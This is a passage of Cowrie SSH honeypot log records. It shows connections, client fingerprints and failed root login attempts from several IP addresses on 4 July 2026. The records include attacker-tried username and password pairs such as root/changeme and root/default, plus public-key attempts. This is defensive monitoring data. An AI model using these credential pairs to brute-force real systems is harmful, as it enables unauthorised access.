16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:49.102039Z","src_ip":"147.45.199.80","session":"123ae349f880","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ruslan4ik","message":"login attempt [root/ruslan4ik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:49.401182Z","src_ip":"147.45.199.80","session":"123ae349f880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:50.501530Z","src_ip":"147.45.199.80","session":"123ae349f880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":46094,"dst_ip":"10.17.0.5","dst_port":22,"session":"f333016a6e3a","protocol":"ssh","message":"New connection: 91.92.40.11:46094 (10.17.0.5:22) [session: f333016a6e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:52.708581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:52.794852Z","src_ip":"91.92.40.11","session":"f333016a6e3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:52.798499Z","src_ip":"91.92.40.11","session":"f333016a6e3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:53.561757Z","src_ip":"91.92.40.11","session":"f333016a6e3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:54.695252Z","src_ip":"91.92.40.11","session":"f333016a6e3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":51482,"dst_ip":"10.17.0.5","dst_port":22,"session":"41083351f4a1","protocol":"ssh","message":"New connection: 195.178.110.137:51482 (10.17.0.5:22) [session: 41083351f4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:20.892408Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:20.979364Z","src_ip":"195.178.110.137","session":"41083351f4a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":59810,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eb6ac808533","protocol":"ssh","message":"New connection: 67.231.24.5:59810 (10.17.0.5:22) [session: 9eb6ac808533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:32.660020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:32.663677Z","src_ip":"67.231.24.5","session":"9eb6ac808533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:32.678763Z","src_ip":"67.231.24.5","session":"9eb6ac808533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thegraph123","message":"login attempt [root/thegraph123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:32.729220Z","src_ip":"67.231.24.5","session":"9eb6ac808533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:33.746680Z","src_ip":"67.231.24.5","session":"9eb6ac808533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":60420,"dst_ip":"10.17.0.5","dst_port":22,"session":"332a0ccfd032","protocol":"ssh","message":"New connection: 194.36.147.215:60420 (10.17.0.5:22) [session: 332a0ccfd032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:41.822061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:41.825799Z","src_ip":"194.36.147.215","session":"332a0ccfd032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:41.915603Z","src_ip":"194.36.147.215","session":"332a0ccfd032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito123","message":"login attempt [jito/jito123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:42.184438Z","src_ip":"194.36.147.215","session":"332a0ccfd032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:43.276272Z","src_ip":"194.36.147.215","session":"332a0ccfd032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":48236,"dst_ip":"10.17.0.5","dst_port":22,"session":"786cb117fefb","protocol":"ssh","message":"New connection: 91.92.40.11:48236 (10.17.0.5:22) [session: 786cb117fefb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:46.815785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:46.930755Z","src_ip":"91.92.40.11","session":"786cb117fefb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:46.950783Z","src_ip":"91.92.40.11","session":"786cb117fefb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:48.027057Z","src_ip":"91.92.40.11","session":"786cb117fefb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:49.204251Z","src_ip":"91.92.40.11","session":"786cb117fefb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":50344,"dst_ip":"10.17.0.5","dst_port":22,"session":"42d3b275f3d8","protocol":"ssh","message":"New connection: 186.233.184.67:50344 (10.17.0.5:22) [session: 42d3b275f3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.439660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.443090Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.482339Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:c9:1c:fa:55:f5:43:1f:65:fc:79:7e:23:30:fa:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4NIpSanEPsvJ//fAd6iAD8YAFXDEbG7AmW4Sotj+LmHzPZz2mLV01+j06DMNFAzBFycNFP/cnUKV5S11sXYutq3M+ow4OpiqIs/lx+Ot+DiR8C5jdh8dd70xFy6pqu//s0p72o/gJB7z5sS/6dmw0Uk+TAuIqOENy5qoYLdve93RJjyd0Q9MYeUleUy2nVBzQ/SFfbrvHdROEQ/klnRHlpQ9hlcGGIE/gij8vKsFlGRiGgQE6E9ncKVmBSuM3v8I3YDXEvcn/vl2CaSWXtM02afTWXwu+k45L6pc4wcbyNnc0bY+ku7uH+wpdL+PhbbJyG6QXWaPXQOYgNA9WUAGN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:c9:1c:fa:55:f5:43:1f:65:fc:79:7e:23:30:fa:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.665667Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:c9:1c:fa:55:f5:43:1f:65:fc:79:7e:23:30:fa:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4NIpSanEPsvJ//fAd6iAD8YAFXDEbG7AmW4Sotj+LmHzPZz2mLV01+j06DMNFAzBFycNFP/cnUKV5S11sXYutq3M+ow4OpiqIs/lx+Ot+DiR8C5jdh8dd70xFy6pqu//s0p72o/gJB7z5sS/6dmw0Uk+TAuIqOENy5qoYLdve93RJjyd0Q9MYeUleUy2nVBzQ/SFfbrvHdROEQ/klnRHlpQ9hlcGGIE/gij8vKsFlGRiGgQE6E9ncKVmBSuM3v8I3YDXEvcn/vl2CaSWXtM02afTWXwu+k45L6pc4wcbyNnc0bY+ku7uH+wpdL+PhbbJyG6QXWaPXQOYgNA9WUAGN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.668294Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:da:53:3b:3c:75:02:2c:ad:ac:b3:ff:86:04:a0:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYm9RId8jQqLtalUbny8fjYlIZXwgAUzg9/2IWzWDFSIUIIaf1L9V7VjHmYrukQNAUXeVb9hJ9JB7Kp57vlUKeZ3zZpwVQlzstrO+uAN/CpXOKdE9zkqgj88wqEfLh1LCBJZOIsbuVBxfifQdIjJGTpIGE+YRB9PvGxux7hxSDoNnruHl/1EoMtEfHCwEjIRwKX+uupxMOwrR5yr3MEMutsQQEtyA5jDQggVgeqrxCbDN793HNkO9GLSjJa1BIbxmTo1TtblJoP+69HYlwSk5clxSBKWegmn1/ArUC5a87lXLlB9ANOaQG95U/GCBdV7EzTExSQzfdNuxlRTTRqQ2p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:da:53:3b:3c:75:02:2c:ad:ac:b3:ff:86:04:a0:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.707346Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:da:53:3b:3c:75:02:2c:ad:ac:b3:ff:86:04:a0:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYm9RId8jQqLtalUbny8fjYlIZXwgAUzg9/2IWzWDFSIUIIaf1L9V7VjHmYrukQNAUXeVb9hJ9JB7Kp57vlUKeZ3zZpwVQlzstrO+uAN/CpXOKdE9zkqgj88wqEfLh1LCBJZOIsbuVBxfifQdIjJGTpIGE+YRB9PvGxux7hxSDoNnruHl/1EoMtEfHCwEjIRwKX+uupxMOwrR5yr3MEMutsQQEtyA5jDQggVgeqrxCbDN793HNkO9GLSjJa1BIbxmTo1TtblJoP+69HYlwSk5clxSBKWegmn1/ArUC5a87lXLlB9ANOaQG95U/GCBdV7EzTExSQzfdNuxlRTTRqQ2p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.710114Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:9b:86:2a:0e:09:79:f7:84:ed:6c:83:88:c8:7c:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7nmJalapy8MCesdC0chUdAuNdJP5SegQN78pqgyCvDThN77rcuZ8pwmipRUbLuc8ZoSx5nFtYyx2PxQBZ0z7uerAQco1pIHCQIjWIHvafRkAIxaBrC1z2vXOGkNlGPgME5twO3WmG2HAdfMXAHnZ+3jANBhYbzpx1mUtngJmfyvX4EerU64EtBIHjp+OeCKYnfGSx5IQGpq9JQgJv6gElzBk760Wb/+9YzpSUmytvORVxiQpeaJSV0Rp7qx+oezngAGPpPRTenpYr5WfhIEeq62R12bSyXowjzAicEKKcZkO4D0DB7ZO8ypjgyAV4q1UcadJevL0ykRC7H5m+r2rn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:9b:86:2a:0e:09:79:f7:84:ed:6c:83:88:c8:7c:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.752575Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:9b:86:2a:0e:09:79:f7:84:ed:6c:83:88:c8:7c:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7nmJalapy8MCesdC0chUdAuNdJP5SegQN78pqgyCvDThN77rcuZ8pwmipRUbLuc8ZoSx5nFtYyx2PxQBZ0z7uerAQco1pIHCQIjWIHvafRkAIxaBrC1z2vXOGkNlGPgME5twO3WmG2HAdfMXAHnZ+3jANBhYbzpx1mUtngJmfyvX4EerU64EtBIHjp+OeCKYnfGSx5IQGpq9JQgJv6gElzBk760Wb/+9YzpSUmytvORVxiQpeaJSV0Rp7qx+oezngAGPpPRTenpYr5WfhIEeq62R12bSyXowjzAicEKKcZkO4D0DB7ZO8ypjgyAV4q1UcadJevL0ykRC7H5m+r2rn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.755281Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:13:04:be:12:a6:7e:9b:c3:57:3c:a0:f8:13:f0:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtn4b41+z0GgFKXCUdz1451C0XcRO1r9n8BFUdeYmCBFK9O6TfSFA9OqONLQgyUiudSOoib+eO7qDYB54Wp2FDfcnTQ6xS6XCs9ziVo/woQgY/V4RWmZoelTVb73DAeGFSzBu6CJyK/hMvJk4l0gPjyX+ykqgx0SJ2i/bBjB7kQq+sPp8hwukoWfUB759wL1ZS72RYmE5XudKylRC+Qb5uSIFdauiTmHJ4e8C8+fMIztzAi3c/G1SfI4d8R7VwgWKpzmfM1KJZvE3H8WD0Gkw6RMVSs+UtQf1x8FbNXEWUt/FX0xAH75iDsUiycUdjScYDqy+Esk8OFNEYAYpOQ8cV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:13:04:be:12:a6:7e:9b:c3:57:3c:a0:f8:13:f0:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.795284Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:13:04:be:12:a6:7e:9b:c3:57:3c:a0:f8:13:f0:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtn4b41+z0GgFKXCUdz1451C0XcRO1r9n8BFUdeYmCBFK9O6TfSFA9OqONLQgyUiudSOoib+eO7qDYB54Wp2FDfcnTQ6xS6XCs9ziVo/woQgY/V4RWmZoelTVb73DAeGFSzBu6CJyK/hMvJk4l0gPjyX+ykqgx0SJ2i/bBjB7kQq+sPp8hwukoWfUB759wL1ZS72RYmE5XudKylRC+Qb5uSIFdauiTmHJ4e8C8+fMIztzAi3c/G1SfI4d8R7VwgWKpzmfM1KJZvE3H8WD0Gkw6RMVSs+UtQf1x8FbNXEWUt/FX0xAH75iDsUiycUdjScYDqy+Esk8OFNEYAYpOQ8cV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.797659Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
